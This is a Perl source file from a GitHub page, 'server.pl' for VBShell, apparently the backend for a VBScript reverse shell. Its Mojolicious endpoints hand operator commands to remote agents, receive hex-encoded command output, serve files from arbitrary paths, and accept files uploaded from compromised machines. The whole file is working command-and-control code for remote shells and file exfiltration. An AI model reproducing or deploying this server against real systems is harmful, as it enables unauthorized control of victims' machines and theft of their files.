-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.pl
47 lines (39 loc) · 1.31 KB
/
server.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# VBShell - Perl-based backend server
# Written by Lucas V. Araujo <[email protected]>
# More at https://github.com/lvmalware
use strict;
use warnings;
use Term::ReadLine;
use Mojolicious::Lite -signatures;
my $term = Term::ReadLine->new("VBShell");
$term->ornaments(0);
sub hex2str { join "", map { chr hex } shift =~ /.{2}/g }
get '/stdin' => sub ($c) {
my $name = $c->param('agent') || "?";
my $user = hex2str($c->param('whoami') || "3f");
my $cmd = $term->readline("${name}\[${user}\]\$ ");
$c->render(text => $cmd);
};
post '/stdout' => sub ($c) {
my $name = $c->param('agent') || "?";
my $user = hex2str($c->param('whoami') || "3f");
my $output = hex2str($c->param('output') || '00');
print $output, "\n";
$c->render(text => 'ok');
};
get '/download' => sub ($c) {
my $file = $c->param('file') || return $c->render(status => 404, text => "File not found");
$c->reply->file($file);
};
post '/upload' => sub ($c) {
my $name = $c->param('agent') || "?";
my $user = hex2str($c->param('whoami') || "3f");
for my $upload ($c->req->uploads->@*) {
print "${name}\[${user}\] Save ", $upload->filename, " to: "; $|++;
chomp(my $file = <STDIN>);
$upload->move_to($file);
}
$c->render(text => "ok");
};
app->log->level('error');
app->start;